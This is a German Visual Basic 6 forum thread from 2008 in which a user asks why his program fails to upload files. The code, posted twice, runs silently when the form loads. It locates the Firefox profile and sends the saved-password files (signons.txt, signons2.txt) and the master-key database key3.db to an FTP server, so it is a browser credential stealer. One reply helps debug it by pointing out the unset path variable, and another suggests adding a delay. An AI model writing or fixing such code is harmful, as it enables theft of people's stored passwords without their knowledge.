Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
Analegrande_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 23.11.2007
Beiträge: 47

FTP Upload funktioniert nicht
Verfasst am: 13.03.2008, 21:30

Nabend zusammen,

ich habe Core´s Code, mit dem man den Profilordner von Firefox ausfindig macht für ein kleines Tool genutzt. Irgendwie klappt das aber nicht so ganz und es wäre nett wenn sich mal jemand den Source anschaut und mir sagen kann wo der Fehler liegt.

Code:
Private Function FileExists(ByVal FileName As String) As Boolean
  On Error Resume Next
  FileExists = (Len(Dir$(FileName, vbDirectory Or vbHidden Or _
                         vbNormal Or vbReadOnly Or vbSystem)) <> 0)
End Function

Private Sub Form_Load()

Dim FireFoxPath As String
Dim ProfilePath As String
Dim No7 As String
Dim ProfileName As String
Dim PassFile1 As String
Dim PassFile2 As String
Dim MasterPWFile As String
Dim Useless As String

PassFile1 = ProfilePath & "\signons2.txt"
PassFile2 = ProfilePath & "\signons.txt"
MasterPWFile = ProfilePath & "\key3.db"
FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox"

If Not FileExists(FireFoxPath & "\profiles.ini") Then
    End
End If

Open FireFoxPath & "\profiles.ini" For Input As #1
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, No7
Close #1

ProfileName = Mid(No7, 15)
ProfilePath = FireFoxPath & "\Profiles\" & ProfileName

With Inet1
  .AccessType = icUseDefault
  .Protocol = icFTP
  .RemotePort = "21"
  .URL = "FTP-URL"
  .UserName = "FTP-USER"
  .Password = "FTP-PW"
  .Execute , "PUT " & PassFile1 & " " & "signons2.txt"
 
    Do While Inet1.StillExecuting
        DoEvents
        Loop
       
  .Execute , "PUT " & PassFile2 & " " & "signons.txt"
 
    Do While Inet1.StillExecuting
        DoEvents
        Loop

  .Execute , "PUT" & MasterPWFile & " " & "key3.db"
 
    Do While Inet1.StillExecuting
        DoEvents
        Loop
       
End With

End Sub


Es wird keine Datei auf den FTP geladen.
Ich denke das Programm findet die Files nicht oder mit dem Upload stimmt was nicht.^^
Aber für mich sieht der Teil, der den Profil-Ordner ermittelt ok aus :/

Naja hoffe ihr könnt mir helfen.

MFG
 
Analegrande_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 23.11.2007
Beiträge: 47


Verfasst am: 15.03.2008, 17:32

*push* Embarassed

Hat niemand ne Ahnung ? Sad
 
Jolo_
Coder
Coder



Anmeldedatum: 20.03.2007
Beiträge: 210


Verfasst am: 15.03.2008, 17:38

Private Function FileExists(ByVal FileName As String) As Boolean
On Error Resume Next
FileExists = (Len(Dir$(FileName, vbDirectory Or vbHidden Or _
vbNormal Or vbReadOnly Or vbSystem)) <> 0)
End Function

Private Sub Form_Load()

Dim FireFoxPath As String
Dim ProfilePath As String
Dim No7 As String
Dim ProfileName As String
Dim PassFile1 As String
Dim PassFile2 As String
Dim MasterPWFile As String
Dim Useless As String

'ProfilePath ist noch leer...
PassFile1 = ProfilePath & "\signons2.txt"
PassFile2 = ProfilePath & "\signons.txt"
MasterPWFile = ProfilePath & "\key3.db"
FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox"

If Not FileExists(FireFoxPath & "\profiles.ini") Then
End
End If

Open FireFoxPath & "\profiles.ini" For Input As #1
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, No7
Close #1

ProfileName = Mid(No7, 15)

'Erst jetzt machst du was in die Variable ProfilePath... Das musst du oben schon machen

ProfilePath = FireFoxPath & "\Profiles\" & ProfileName

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "FTP-URL"
.UserName = "FTP-USER"
.Password = "FTP-PW"
.Execute , "PUT " & PassFile1 & " " & "signons2.txt"

Do While Inet1.StillExecuting
DoEvents
Loop

.Execute , "PUT " & PassFile2 & " " & "signons.txt"

Do While Inet1.StillExecuting
DoEvents
Loop

.Execute , "PUT" & MasterPWFile & " " & "key3.db"

Do While Inet1.StillExecuting
DoEvents
Loop

End With

End Sub

MfG Jolo Wink
 
kokaiin_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.01.2008
Beiträge: 36


Verfasst am: 15.03.2008, 17:39

Mhh, vllt. irgendwo eine Pause einbauen? Bei mir hats mal geholfen...
 
Analegrande_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 23.11.2007
Beiträge: 47


Verfasst am: 15.03.2008, 19:14


Das was Jolo meinte scheint Sin zu ergeben aber dadurch ladet er trotzdem immernoch nichts auf den FTP Confused
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: profilepath, passfile1, masterpwfile, string

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 983 09.06.2011, 13:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2609 06.03.2008, 21:19
Keine neuen Beiträge ListView speichern & laden 1331 05.08.2008, 13:32
Keine neuen Beiträge Registry & Co Fragen 1203 03.05.2007, 10:57
Keine neuen Beiträge Listbox speichern & laden 2268 22.03.2007, 21:25
 


[ Time: 0.0710s ][ Queries: 92 (0.0276s) ][ GZIP on - Debug on ]